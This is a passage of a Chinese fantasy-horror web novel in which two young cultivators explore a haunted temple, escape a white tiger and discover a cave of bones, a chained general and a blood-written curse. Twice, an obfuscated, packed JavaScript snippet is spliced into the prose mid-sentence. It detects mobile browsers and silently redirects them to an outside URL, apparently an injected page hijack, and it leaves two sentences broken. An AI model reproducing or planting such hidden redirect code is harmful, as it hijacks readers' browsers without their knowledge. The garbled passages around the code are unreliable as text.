鼎腿四角各摆着一只半人高手臂粗的红蜡烛,已经被点燃过,烧掉了半截。 他本以为爹口中的镇邪庙只是一座小佛堂,如今一看,真觉自己见识短小。 这三丈高的庙宇如同巨大的怪物向下俯视,一切妖魔鬼怪在其面前,全都无所遁形。 若是段尚清在,白栩还能壮着胆推门而入,如今孤零零一人,实在不敢进去,那大殿里头黑洞洞的,一点光亮都没有,他只敢走上几级破损的石阶,站在庙门前探头向里看去。 月光照不到殿内,白栩什么都看不清,但庙门上的几行墨迹倒是清晰可见。 白栩眯着眼一个字一个字的辨认。 这是句诗—— 佛莲座下千重骨,业火灼灼映九天。 白栩嘿嘿一乐,这字迹,不正是自己老爹的么。 他白老爷子真是有闲情雅致,这荒山野岭的,还有心情提笔作诗,看来每次和娘一起进山,玩得都挺开心啊。 有了亲人来过的痕迹,他舒心了不少,不过又马上发愁。 所有的行李都落在原地,此时无粮无水的,漫漫寒夜若是没有篝火取暖,怕是长夜未明,人先西去。 白栩暗自思忖,想往回走是万万不可能了,只有把段尚清叫到这里,才是上策。 正好此地能看见周遭景物,若他发出声音引出了林中野兽,也不怕暗中被伏无力反抗。 况且还有这鼎,跃上去就能纵览全局,与野兽相搏也能占得上风。 这么一想,窘困的境况顿时明朗了起来,但他显然高估了自己的肢体协调和残废体力,本以为能跟小神仙一样,纵身一跃便跳得老高,可惜试了几次,并不比老母鸡扑腾得高。 只得老老实实地手脚攀爬,废了好些个功夫才爬上去,颤颤巍巍地坐在了香炉鼎的横梁上。 瞭望四周,夜深林静,没有任何响动。 他取出腰间别着的骨哨,放到唇边用力吹响。 这哨子是他姐送给他的,据说威力十足,当年他用力一吹,给福生吓得嗷嗷直叫。 可惜小东西一直没有用武之地,白栩向来是当个平安挂件拴在腰上的。 眼下正是它发威之时。 白栩对着哨嘴鼓足劲一吹,哨声尖锐如利刃破风,穿得极远,直惊起远处林叶间栖息的飞鸟。 白栩吹完立刻收声,警惕地望向四周,默默祈祷千万别招来什么不是人的东西。 敛声屏气等了一会儿,并无其他活物靠近,于是放宽心,再次吹响。 终于,皇天不负有心人,远处林中一处暗淡的火光正朝着他的方向靠过来。 是段尚清! 他的小神仙背着两人的包袱,一手举着火把,一手提着剑,绕过几处枯枝纵横的死路,披荆斩棘地来到了他的面前。 “段兄!” 白栩一看他来,如见至亲,立马跳下鼎梁,张开双臂一把抱住段尚清,“太好了!我就知道你能找到我。” 段尚清被突如其来的拥抱弄得有些无措,面颊一红,“你怎么跑到这儿来了?” “我本想走远点去寻些枯枝来,但是没想到一下子看不见来路,失了方向,凭着感觉乱走,就走到这里来了。” 一想此事归根结底是自己不对,段尚清耷拉着脑袋,声音沉闷:“夜间林中黑雾弥漫,极易迷路,我不应叫你去捡枯枝。” “这哪能怪你?都是我莽撞。”白栩拉着段尚清的手晃了晃,见他还是一副垂头丧气的自责模样,抬手掐了掐他的脸颊,软着嗓子哄,“小神仙,是我不好,你别这样。” “小神仙?”段尚清茫然看他。 白栩笑意盈盈:“第一次见面,我就觉得你气质卓绝超凡脱俗,像天上掉下来的小神仙。” 本来面颊就泛着薄红,这下子连耳廓都烧红了,段尚清别过脸,眼睛四下乱瞟,心里微微发胀,暖烘烘的,又有点堵:“你对谁都这般亲昵么?” 话一出口,段尚清自己都是一愣,忙转移话题:“不说这个了,这里是什么地方?” “应该是爹说的镇邪庙,”白栩帮段尚清分担一个包袱,从里面取出一小坛酒递给他,“你还能找到原来的路么?” 段尚清回头看了眼密林,闭上眼感应着自己沿路设下的引路符,灵识穿过黑暗,跟随着引路符的指引,画出了离山的路线。 他接过酒喝了一口,喉中干渴被润泽,连带着方才那点不知名的酸涩也一并冲洗下去。 “记得,我们现在回去么?” 白栩却摇头,隐隐兴奋道:“既然你来了,我就不怕了,要不我们进庙看看?” 段尚清抬头仰望庙宇,尖锐的庙顶上,明月高悬,乌云掠过,遮住上半边月,余下的半月好像一只眼睛,正冷冷地注视着他们。 反正来都来了,再危险我也能护住他。 于是点头,应了声好。 沉重腐朽的庙门被推开,朽木划过地面发出阵阵沉闷的摩擦声。 殿内阴冷的风裹着无数灰尘扑面而来,白栩迎面被呛了一口,连忙捂住口鼻,眯起眼向殿内打量。 月光透进来,隐约能看见些东西的影子,但其形状模糊难以辨认,不知是活物还是死物。 他抬腿迈过高高的门槛,举起火把,炽热的火光一下子将殿内的陈设照亮。 一座极其高大的金身佛像坐立殿中,约有二丈多高,极宽,他们两人的身形凑在一起还不及佛像的脚掌大。 金佛的上身微微前倾,两只手上下叠拢搭在盘曲的双腿上,佛脸上带着淡淡的微笑,眉眼低垂,俯视众生,悲天悯人。 佛眼中漆墨的瞳孔上涂了釉面,能反射光线,只要殿内有火光出现,就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365464|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让这双硕大的眼睛画龙点睛般活起来。 白栩盯着佛像的眼睛,恍惚间感觉它正在微微转动,紧盯着闯入殿中的不速之客。 他虽不烧香拜佛,但对佛家依然怀有敬畏之心,双手合十念了句阿弥陀佛。 说来奇怪,这尊佛并不像其他庙内的佛像那般看起来和蔼慈祥,反而透着一股说不上来的邪劲儿。 白栩敬而远之,跟着段尚清向四周走去。 大殿的四角立着四大天王,虽不及金佛那般威风凛凛,但依然威猛高大,前身微俯,铜铃般的眼睛圆睁着,射出道道逼人的寒光。 白栩啧啧称奇,“这么高大的神像,得耗费多少时间,想来当年应该是一个浩大的工程。” “不止神像,你看四周墙壁上都是壁龛,龛内摆放着罗汉铜像,粗略一算,少说也有近百个,而且没有一个铜像神态一致。”段尚清声音低沉,神色肃然,“要请诸天神佛才能镇压住的东西,到底是什么?” 白栩吓一哆嗦。 绛鹊山里不干净,这对于全江州百姓来说都不是秘密。 但脚下这片土地,到底死了多少人,流了多少血,白栩从不敢细想。 他压下心头的不适,故作轻松道:“不想那么多了,我们在庙里歇一歇,再出去找被抬上山的黑棺。” 段尚清将视线从壁龛上移开,“好。” 火把将要燃尽,白栩借火把自己好不容易搜罗来的干树枝给点着,架在一旁。 一想到自己在山里逃命似的四处瞎跑,手上还能牢牢攥紧这些枯枝烂叶,真是心酸又好笑。 幸好殿内空气干燥,他们又找到一些旧木头点火。 忙活了好一阵,火堆架了起来,吃了些点心喝了点酒,一放松,困意与乏力双双找上门来。 白栩撑着眼皮和段尚清聊了一会儿,实在扛不住,嘱咐了句:“等会儿要走了叫醒我。”便不管不顾地一歪脑袋睡着了。 段尚清还余些精力,想着方才殿内还有些地方没看全,拿着快燃尽的火把接着逛了起来。 殿内灰尘密布,轻轻一走就能捎带起一阵风,铺天盖地的灰尘被扬到空中,吸进鼻内略有些刺辣的感觉。 段尚清抬手扫开眼前的浮灰。 他先围着四面墙壁走了一周,然后才绕到殿中后的佛像前,双手合十拜了一拜,念了声“罪过”,抬手摸了上去。 屹立在四面的四大天王像都是实心的,摸起来手感粗糙,应该是一整块巨石打磨雕刻而成,唯独中间这金佛是空心的,用木柄去敲,能听到内部传来沉重的回音。 段尚清围着佛像转了几圈,一路摸摸敲敲,这佛像的底座寸寸严丝合缝,看不见一点缺口或者机关。 可庙门上的诗如非闲情雅致随笔所写,那应该是句提示才对,这尊佛像下面也许还有空间。 有空间,就能放棺材,说不准那些进山的人就是把藏着鬼东西的棺材放到这佛像里面了,不然没理由白伯伯和伯母找了几天都找不到。 段尚清足尖点地纵身跃起,掠过佛手,稳稳当当地落在了佛耳之上。 这金佛真是硕大无比,仅是耳廓,便足供一人落脚。 段尚清举起火把,抬眼上看。 果不出所料。 这佛像的后脑不知被谁砸出了一个破洞,洞里面漆黑一片。 不过此洞约摸不足一丈之深,仅凭火把就能将四壁照亮。 洞穴底部有一个四方状的大匣子,黑黢黢的,几乎要和四壁连在一起,不仔细看几乎看不出。 不知道是凹下去的方形洞,还是凸起来的什么东西。 段尚清翻身一跃,顺势一滑,正好落在了那东西上面。 是一个凸起的大匣子,段尚清伸手摸了摸,很敦实,还很凉。 难道是个石匣? 他狐疑地环视一圈,这匣子占据了洞穴底部大部分的空间,只在四周余下一圈窄小缝隙。 这个洞,像是专门为它留的空间。 木棒燃烧,火星劈啪作响,幽暗的火苗忽明忽灭,段尚清直起身,火把下扫,一打眼,蓦然正对上一张青黑面皮的骷髅脸。 11. 佛中女尸 一颗干瘪的人头,皮肉青黑,眼眶下陷,半个脑袋从匣子里探出来,火光映射下,死气沉沉地盯着来客。 段尚清拔剑一挑,人头“嘭”地掉回去。 看来不是活的,只是一具干尸。 那么说,脚下这石匣,其实是一口棺材。 但这并不是被抬上山的那一口,没有朱砂绳和黄符,只是普通的漆黑石棺,看起来已经摆在这里很久了。 谁放进来的?这尸体是谁?棺盖上的破洞是被谁砸出来的? 他思绪纷飞,但容不得多加思考,手里的火把已然行将就木,撒手人寰,灭了个干脆。 探查只好作罢,段尚清跳出洞口,坐回白栩身边。 白栩安安静静地睡着,火光的映衬下,他的眉眼清晰而柔和,睫毛时而微微颤动,像小扇子在忽扇,细小的绒毛朦胧了白皙的面颊,火光烤着的那半边脸正微微地泛红。 段尚清垂眸看了片刻,缓缓靠近,肩挨着肩,把白栩的脑袋轻轻挪到自己的肩上,让他靠得舒服一些。 白栩下意识蹭蹭,蹭得段尚清一阵心痒。 看他睡得正香,不舍得叫醒,正好自己也累了,干脆陪他睡一会儿。 段尚清闭上眼,留了一线神识站岗放哨。 正要会面周公之际,庙门外忽地传来一阵枯枝烂叶被踩踏崩裂的清脆声响。 段尚清立刻警觉地坐直身子。 白栩被他震醒,迷迷糊糊地睁开眼,“怎么了?” “有人来了。” 段尚清的声音很低很轻,他让白栩先不要说话,慢慢地把佩剑抽出来抵在身前,拎起包袱,拉起白栩护在身后,两人亦步亦趋,一点一点向神像后挪动。 一片死寂中,虚掩着的殿门被轻轻推开,发出一阵牙酸的吱呀声。 从庙外走进来的并不是人,而是一只通身雪白的老虎,它舔舐着獠牙,威风凛凛地晃了晃脑袋,压着沉重的步子,一步一步向火堆逼近。 这林子里居然真的有野兽! 白栩瞪大了眼睛,心脏碰碰直跳。 自己可是毫无防备、孤身一人从林子里一路走到这来的,居然没被抓到吃掉,真是福大命大,老天保佑。 白栩双手合十朝上一拜,“佛祖显灵啊,野兽都欺负到我们头上来了。” 段尚清扣住白栩的脑袋,压在自己胸前,而后转移向下,揽住他的腰,低声在他耳边呢喃:“抱紧我。” 白栩立马环住段尚清劲瘦的腰身,脑袋死死埋在他的颈窝里,就差把腿也挂在人家身上。 段尚清满意白栩的搂着自己的力度,低喃一声:“我们先上佛像。” 而后纵身一跃,足尖点地,悄无声息地落到了佛手中央。 白虎忌惮火光,步子越压越慢,最后停在了火堆前,嘶吼示威。 两人一虎之间的距离差开了不少,段尚清道:“撑着我往上爬,我托着你。” 白栩爬墙爬树还算在行,爬人要从哪下脚啊? 段尚清见他犹豫,弯腰一捞,让白栩坐在自己臂弯上,用力托起向上一顶,白栩借力一抓,顺利攀爬到金佛衣襟的褶皱里。 “你慢慢爬上去,我在下面守着。金佛脑袋顶有个洞,小心别掉进去,在耳廓上等我。” 白栩朝上一看,路漫漫其修远兮,但生死关头由不得己,于是一鼓作气,手脚并用,努力上爬。 段尚清持剑相待,和白虎对峙。 白虎磨牙霍霍,爪子挠地,一看白栩一直上爬,急切地大吼一声。 谁知这白虎还是只灵兽,只见周遭一片刺目的蓝光闪过,庙外登时刮来一阵呼啸冷风,火堆被吹翻,刹那间,四周被包裹进浓稠的黑暗中。 电光石火间,一股腥臭的味道猛地接近,段尚清心道不好,剑刚举起,却被一爪打落,虎爪力气巨大,指甲锋利,手腕皮肉翻飞,三道抓痕深可见骨,鲜血直流。 血盆大口迎面袭来,段尚清顾不得疼,一个滑铲从虎身下滑走,趁老虎转身之际,猛地一跃,捞起气喘吁吁的白栩,拼命朝上飞奔。 白虎见猎物逃走,愤怒地大吼一声,一个大跳跃上佛像,紧追紧赶。 白虎在白栩脚下步步紧逼,段尚清掐诀念咒,以血画符,五道火符直直劈下,直冲白虎面门,但白虎侧身躲开,嘶吼一声,张大嘴一下子咬住白栩衣袂,一股向下的力将两人狠狠向下拽,段尚清咬紧牙,扣住白栩肋骨用力一提,结实的布料撕拉一声裂开,白栩只觉自己一下子向上飞了好几尺远,反应过来时,已经和段尚清站在了佛像的耳朵上。 白虎穷追不舍,很快就追赶到他们脚下,它张开血淋淋的大口,直奔白栩大腿咬来。 白栩吓得闭上了眼睛。 情急之下,段尚清已顾不得其他,一手抓住白栩的后领,带着他纵深一跃,跳进了佛脑后的破洞里。 老虎眼见着到手的食物跑走了,又恨又气,不甘心地抓挠佛像,喉咙里发出“呜呜”的吼声。 两人摔在了棺材上。 段尚清心有余悸,立刻起身把白栩拉到一边,使劲向洞穴边缘挤,尽量离这口棺材远一些。 白栩警觉地看向洞口,生怕白虎跳进来把他俩给一起啃了。 盯了半天,没看见老虎的脑袋从洞口探进来,它一直在外边抓挠,呜呜直叫。 “白虎怎么没跟来?” 段尚清指向他们面前的木棺,“应该是怕这个,这是口棺材。” “棺材?”白栩心下一惊,使劲往段尚清身边挤了挤,他自己不敢看,就叫段尚清身先士卒,“你快看看这棺材是不是我们那天晚上看到的那个。” 段尚清划开一只火折子,“不是,我看过了。” 第二次和尸体打照面,恐惧已经减缓了许多,段尚清盯着那乌黑的眼眶,心里斗争几番,凑前把火折子探向洞口。 棺内被照亮,里面没有任何陪葬品,只有一具孤零零的干尸,像被从内抽干了血肉,只剩一层皮包裹在骨头上,极其狰狞可怖。 白栩 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尽管恶臭已经消散了,白栩仍觉骇人,他几乎能想象到这东西一开始是什么味道,胃里一阵翻江倒海,忍不住捂嘴干呕起来,脸色白了几分。 “这伤口……是从内向外破开的……”段尚清沉吟,“是孩子么?” “应该只能是孩子了吧……”白栩不敢想其他可能,“孩子以外的东西,藏在肚子里……也太疼了吧……” 段尚清不置可否,忍着右腕的剧痛,左手举着火折子,探近尸体,橘黄色的光晕钻进腹腔,他凝神细看。 干瘪空荡的腔体内壁呈现出一种不自然的灰败和萎缩,有些地方甚至能看出明显的虫洞,大小不一,最大的竟然有手指粗细。 除非被蛆虫啃咬,不然就是她身体里本来就有虫子,经年累月不断吸食血肉,最后她无力消受,虫子破体而出。 “也许不是孩子。”段尚清剑眉紧锁,忍着恶心,声音低哑,“若是剖腹取婴纵使血肉腐化,应该有骨架残留才是,她的肚子里,肋骨都被虫子给钻开了……” “所、所以她是被……被什么东西吃掉了?”白栩声音发颤,腿肚子一个劲儿地抖。 他下意识抓紧段尚清的衣袖,仿佛这样能汲取一丝勇气,“那东西藏在她身体里,最后还把她吃了……是蛊虫么?” 段尚清脸色凝重,只低声道,“但愿是我们想错了。” 他探手进去翻看女尸背部,想看看到底是什么东西让白虎望而却步,谁料赫然一根锁链穿透女尸的背部。 那链条尾部直通棺底,随着翻身的力道,拉动齿轮扭转,霎时间,一阵天崩地陷,石块崩裂的声音在逼仄的洞中炸响,有如惊雷霹雳,怒势涛涛。 段尚清动作还没变,茫然地抬头,白栩也看着他,两人对视一眼,下一瞬脚下一空,倏地连翻带滚,齐齐向下坠去。 我去你的! 这防盗机关,怎么专坑自己人啊! 12. 积尸洞 一切发生得太突然,两丈深的洞穴,一路滚地葫芦似的跌下来,白栩没做好任何准备,直摔了个眼冒金星,五脏挪位。 屁股率先着地,脑袋接续跟上,咚咚两声,分不清是屁股裂成了八瓣,还是脑袋开了瓢,哪哪都疼,钻心的疼,他躺在碎石里,眼看着碎石飞沙如开闸倾灌,直接把洞口堵了个严严实实。 段尚清从一地狼藉中爬起身,护住了脑袋,人还算清醒,只是右腕火辣辣地疼。 伤口里混进了碎石,直往肉里割。 他扯下一角衣袍,胡乱缠紧,焦急地四下找人,“白公子?白栩?” 听他正喊自己,白栩顶着一脸血从石堆里爬了出来,咳了一声,“……这儿呢。” 段尚清见他无事,心脏回落,踉跄了一下,闷声咳出一口血,怕白栩发现,故意又咳了几声,才甩出一道火符,把洞内照亮。 他扒开石头,发现白栩卡在了缝隙里,也亏得如此,没被石头砸伤。 把白栩拽出来,周身检查一圈,没见到其他伤痕,只有额角破了个口子,血流了一些,已经凝固了。 段尚清用里袖替他擦干,一手摸向怀中摸寻,还好装着药粉的小瓷瓶没碎掉,他拔开布塞,轻轻洒在伤口上。 白栩脑袋还有些昏,看东西有点重影,他由着段尚清上药,问道:“这是什么地方?” “石棺底下,说不清。”段尚清处理完,坐在白栩身边。 两人挨着,白栩察觉到段尚清的右臂微微有些发抖,低头一看,果然包着渗血的布,“你受伤了?” “划伤,不碍事,没你的严重。”段尚清不想让白栩担心,扯了个谎。 火符熄了,他又拈出一张点燃。 洞内时明时暗,像眼睛在缓慢眨动。 白栩看他手法娴熟,好奇地问:“你带了多少符?” 段尚清从怀中取出递给他看,只剩下薄薄一沓了,“不多,快用完了。” 白栩数了数,不过十几张。火符燃烧短暂,支撑不了太久,得另谋出路。 “你能不能把这个洞劈开?船都能劈,区区洞穴难不倒你吧?” 段尚清摇头,“上石下土,阴阳同坤,道罡咒里没有这一卦。” “那我们就是出不去了?” 段尚清颔首,“大概是。” “你还这么镇定?” “急也无用。” 白栩忽地笑了。 他知道这情境不该笑,可人倒霉到了极处,反倒会嘲笑起命运潦草的安排。 “也罢。你的小符咒坚持不了多久,我记得包袱里还剩好些火折子,刚才不知道摔哪里去了,我们找找。” 白栩忍着痛站起身,回到掉落点搜寻,找了好一阵,从碎石缝里扯出个青布包袱,一揭开,酒气混着火药味扑鼻而来,他心一凉,不可置信地翻找几下,火折子全被酒给浸湿了,无一幸免。 “不是吧……”白栩苦笑,摊开包袱给段尚清看,“我真没招了。” 段尚清看他一脸苦相,心觉可爱,低低笑了一声,挨了白栩一捶,才正色地接过包袱,掷在地上,指尖火符一扬,焰光骤起。 熊熊火光照亮四壁,洞中一切骤然清晰。 他拍拍手上的灰,一脸云淡风轻,“也算废物利用。” 白栩笑着又打了他一拳,“少装正经,真出不去怎么办?” 段尚清抱臂,略一思考:“生同衾,死同穴。” “去你的,谁跟你是夫妻。”白栩白了他一眼,转向别处观察,不看还好,一看,笑直接僵在了脸上。 这洞穴四壁之下尽是白骨,密密麻麻地堆挤着,姿态扭曲,彼此挤压,白花花的手骨死死抠进岩壁,有些已和石头融为一体,它们如众星捧月般簇拥着中央的一座石砌祭台,台上赫然吊着一具身披铠甲、屈膝跪地的人骨。 两条铁钩穿过它的琵琶骨,将它上半身吊起,钩头连接的粗重锁链一直延伸到洞顶,死死地钉在岩壁里。 白栩吓得不轻,一把抓住段尚清的手臂稳住身形,“我们……不会也和它们一样,死在这里吧?” 段尚清反握住他的手,掌心干燥而温暖,“别多想,我们一定能出去。”他语气沉稳,另只手揉了揉白栩的头发,“先上祭台看看。” 台上白骨身披重甲,想必生前是个将军,它脚边散落着一本旧册,白栩捡起来翻看,尽是异族文字,一个都看不懂。 他抬头,见段尚清盯着铠甲若有所思,不禁问:“发现什么了?” “你看这花纹,”段尚清指尖轻点,“可知是什么花?” 白栩凑近细瞧,这纹路弯绕纠缠,如血如丝,实在看不出个所以然,便问:“这哪像花?” “是彼岸花,相传开在黄泉路上,民间也叫死人花,寓意死亡和分离,本是不祥之兆,却出现在了将军的盔甲上……” 白栩心下一悸,脱口道:“莫非是镇煞所用?” “不,彼岸花不镇煞气,反而养阴。”段尚清转头看他,目光凝重,“一位将军,不求镇煞退敌,反倒养阴聚魂,你觉得是因为什么?” 白栩被问得一愣,心想这些神神鬼鬼的东西他怎么知道,随口一编道:“难不成他靠阴兵打仗?身上阴气重才能从地府借兵?” 不料段尚清竟颔首,“八九不离十,不过不是借阴兵——” 他语气一沉,“是在养蛊。” “蛊?”白栩瞪大眼睛,“一个将军为什么要养蛊?” “相传西域有奇蛊,可使种蛊之人刀枪不入,力大无穷,如天神降世,战无不胜。但这蛊虫吸人精髓,种蛊之人不到十年必气衰而死。我猜这位将军的身上就种了那种蛊,你看他的骨头,尤其是胸骨,上面都是虫洞。” 段尚清声调平稳,却叫白栩生出一身鸡皮疙瘩,尤其是看到白骨上密密麻麻的虫洞,更觉根根头发拽着头皮直往上扯,麻得他浑身一激灵,赶紧跳下祭台,鄙夷道:“好生恶心。” 段尚清笑而不语,随口问他,“你手里是什么?” 白栩抬手递给他,“一本书,里面东西看不懂。” “这倒是个有意思的东西。”段尚清接过书,借着火光翻看了几下。 白栩对这异族之书并无兴趣,带着火符去一旁绕着石壁溜达,还没逛上两圈,蓦地发觉这石壁上有字。 他忙把火符推近去看,一道弯绕的血迹映入眼帘,似乎是咬破手指用血画下来的,白栩“咦”了一声,指挥火符向上照,小火符像只灵宠一样很是听话,飘飘悠悠向上飞去,照亮了满墙血字。 这血字笔锋凌锐,似乎写作之人怀着极大的怨气,自下往上,字越来越大,血迹越来越厚,好像手指上的血不够写,干脆咬破手腕来用,白栩看得一阵胆寒,手臂隐隐作痛。 火光微弱,却足够照亮血字,他一个一个地认,越往上读越心寒,这满腔血字,字字珠玑,而被其口诛笔伐的,竟是自己家的人。 “江南玄门狼狈为奸,屠我族人,夺我秘术,囚我于阴间地狱,不得求生,不得超生,今一气尚存,恐命不久矣,留此血书,予以后人,若有人见此,定要揭露其滔天之罪,替我族人报此血海深仇,若我等化作怨鬼,定要屠尽苍生,血染苍穹!” 最后几个字写得尤其大,笔触潦草好似怀揣着极大的愤怒,就算血肉糊墙也要写下来。 白栩只觉遍体生寒。 “尚清。”他颤声唤道。 段尚清闻声走到他身边,“怎么了?” 白栩伸手指向墙上血字,“你看。” 段尚清顺着所指方向看去,墙上的血字触目惊心,连带段家也被讨伐,他眸光微颤,心慌一瞬,但很快镇定下来。 这血字全然一面之词,江南玄门以“上三家”马首是瞻,而段家家主,也就是自己的父亲,他为人宽厚,绝不会妄下杀孽,定然是这些人犯了滔天之错,才会惹怒玄门而造诛杀。 段尚清将自己的想法说与白栩听,白栩虽心有余悸,心却宽慰了不少,“你说的在理,我也不相信我爹会做杀人勾当,而且佐家素来以君子之风待人,更不会肆意妄为,上三家若不出手,江南玄门没人敢造次。” 他舒出口气,问道:“你把书看完了?” “是本神鬼话本,写的都是下地狱过黄泉的事,还挺有意思,不过对我们的处境没有帮助,我们得去找找别的线索。”段尚清指向墙下面的白骨堆。 白栩应道:“好。” 两人一人一堆着手搬动,洞内响起了此起彼伏的“哗啦”声。 白栩一边搬骨头,一边默念“莫怪莫怪”。 他此前从未做过这般掘人坟墓、挖人尸骨之事,如今一遭,真是百无禁忌了。 骨头摞得很高,一具接一具压在一起,最上面的一层已经看不出什么名堂,一碰就散架,一捏就化粉,白栩轻手轻脚地将上层骨架挪开,好在下面的尸骨没有风化的那么严重,身上的衣物保存的还算完好。 白栩翻动几具骨架,让他们正面朝着自己,连着看了几具,总觉这些人穿着衣服很是眼熟,细看了花纹,发现都是中原的纹路。 他原本以为死在这里的都是异族人,毕竟上面的棺材里躺了位正儿八经的异族女人,便理所应当地认为上下死尸全是一个族的,可现在看来,事实与他所想截然相反。 “段兄。”白栩带着疑惑走到段尚清身边,“你有没有发现他们穿着的都是中原服饰?” “发现了。”段尚清放下手中拎着的骨架,把刚从尸体脖子上找到的挂坠拿给白栩看,“你看看这个。” 白栩接过,这是一根三股编就的红绳,尾端吊了一枚小小的玉坠,其上雕有貔貅纹,栩栩如生。 “这是暖烟玉,玉质细透清润,呈淡蓝色,据我所知,这种玉石只在江州飞龙岭的青玉山上才能找到,而且青玉山的玉矿一直有官兵把守,每年开采的玉石有严格限定,除了部分质地较差的玉石流于江州本地贩卖,其余全部进贡朝廷。” 白栩捏起玉坠,用指腹捻磨几下,又凑到火光旁仔细瞧了瞧,“此玉摸起来略有粗糙,其内裂纹横生,应该是流于民间的劣等玉石,不过暖烟玉虽稀少,也只是好玉价格高,劣等玉石不值钱,玉坊一般会在上面雕刻些祥纹,作个辟邪的护身符便宜卖出。” “难不成这些尸骨全是江州人?”段尚清想不通,既然死在这里的全是江州人,为什么头顶石棺里葬了具异族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365466|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女尸?锁在祭台上的大将军身体里怎么会种有来自西域的邪蛊? “不一定,暖烟玉虽然产自江州,却并不只在江州贩卖,临州各县的玉商也会来买玉。”白栩将玉石收进口袋,拍掉手上的骨粉,“不过我们可以肯定,这些尸骨全部都是中原人。” 段尚清皱眉深思,沉吟道:“那就奇怪了,祭台上锁着位将军,其余的尸骨应该都是他的士卒,可这里面除了一具将军的盔甲,没有找到任何兵器和甲胄,除了战争,还有什么能致使这么多人丧命呢?江湖上近十年来从未有过灭门灭派的传言,这些人到底是因为什么才会死在这里?” 这些疑惑同样横亘在白栩心里,他心口沉闷,胸腔里压着一股邪气,死亡的阴霾渐渐笼罩心头。 他忧郁的神色隐匿在火光中,段尚清看见白栩一脸苦大仇深,温言劝道:“有件事我未与你说,关于将军身上蛊虫的由来,我是从长生簿上看来的。” “长生簿?”白栩惊诧,“你爹居然肯让你看。” 段尚清轻咳一声掩饰心虚,“自是不允许,我偷偷看的——不过这个不重要,你想,如果这个将军所施展的蛊术源于长生簿,我们是不是可以认为,长生簿本来是属于这些人的,他们依靠这两本邪书为非作歹,被铲除后,为了不让长生簿继续危害人间,上三家便担任了看守之责。” 白栩直点头,“不错,这么猜正好能与血字对应上。”毕竟血字里有一句“夺我秘术”,若没猜错,说得就是长生簿。 段尚清却冷笑一声,“这些人分明就是在说谎,长生簿上没有一个中原字,那本就是西域的东西。” 白栩赫然,“你的意思是,这些人把长生簿从西域某个部落里抢过来,借着其中妖法为非作歹,而后被中原的玄门剿灭?” “这只是我们的猜测,如若真是这样,这些人还敢堂而皇之的倒打一耙,真是死有余辜。”段尚清愤愤道。 白栩听他一说,心有些痒,要说他平生两大夙愿,一是进绛鹊山,二是看长生簿。 他蹭蹭段尚清的肩头,“段兄,段伯伯好说话么?他能不能告诉我们来龙去脉啊?或者让我看看长生簿,你家里那个是下卷吧,据说记载了百种下蛊之法。” 段尚清摇头,“我爹嘴硬得紧,白伯伯或许还愿意编故事骗你,我爹干脆只字不提,我问了还要被教训——青山长老还在么?我们或许可以问问他老人家。” “我爷爷?”白栩愣了好久才想起这位只活在父亲口中的爷爷,“我爷爷在我记事前就离家了,至今下落不明,生死未卜。” 段尚清无奈叹道:“要想知道当年的事,只有去衡阳问佐伯伯了,至于看长生簿,咱们俩都别想了,我爹早就把它交给佐家了。” 心愿破碎,白栩悲切地叹了口气,看来以后真得去佐家一趟。 “长生簿上卷不是在你家放着么?你没偷看过?”段尚清疑惑,以白栩的性子,肯定是看不到不罢休,而且白伯伯也好说话,白栩死缠烂打,说不准就松口给看了。 经他一说,白栩才像想起来什么似的,拉着段尚清到火堆旁坐下,深色凝重:“我有一事未和你说过,关于绛鹊山,关于我爷爷,也关于长生簿。” “何事?”段尚清靠近些许。 “这事得从我师叔说起。” 白栩师叔名叫虞惑,是被他爷爷白青山捡回家的,没人知道来历。 虞惑自小勤奋好学,安分守己,加之天资聪颖,学得多悟得快,渐渐便成为白氏一众弟子中的佼佼者,颇得白青山青睐。 十三年前,虞惑不知因何私闯禁地绛鹊山,一去数日才回。 而且自打从山里出来,他整个人忽然心智大变,每日疯疯癫癫满口胡言,不知着了什么道。 师兄弟们担心他被精怪附体,将此事禀告白青山,白青山即刻命人把虞惑抓起来,一通审问下来才知道,他之所以变成这幅鬼样子,是因为偷练了长生簿里的邪术。 白青山勃然大怒,逼问虞惑从何处偷学,虞惑死咬着牙不松口,宁被打死也不肯说。 白青山无计可施又不忍重罚,命人将他关进禁闭阁思过。 一连关了五日,期间无粮水送入,平常人挨到这个地步,有什么错就都招了。 白青山算着时日,于第六日打开房门,可等待他的不是认错的虞惑,而是一具死了多日的尸体,几条白蛆从尸体的鼻孔和眼睛中爬出,一耸一耸地爬到白青山脚边。 白青山痛心又气愤,命仆从把虞惑的尸体收起来,备口棺材送到城西义庄去。 可谁都没想到,不消多时,仆从竟跌跌撞撞地跑回府,怀里抱着个等人大小的草扎人,嘶声喊到:“家主!虞惑的尸体不见了,变成了个草人!” 同时,被白青山安排进绛鹊山镇邪庙寻找长生簿的白道陵回报,长生簿失踪。 白青山怒不可遏,命一众弟子不管用什么手段,必须把虞惑抓回来。 众人四散寻找,五日后,虞惑竟主动现身,站于白府门前,震声怒吼:“江南玄门狼狈为奸,将我族人赶尽杀绝,此等伤天害理之行,罪不容诛!十年之内我定要你们血债血偿!” 说完,一路杀出重围,彻底消失不见。 13. 奈何桥 “所以……长生簿上卷丢了?” 白栩点点头,指尖无意识摩挲段尚清的手背,“派了三百修士寻了半月,至今没半点踪迹。” 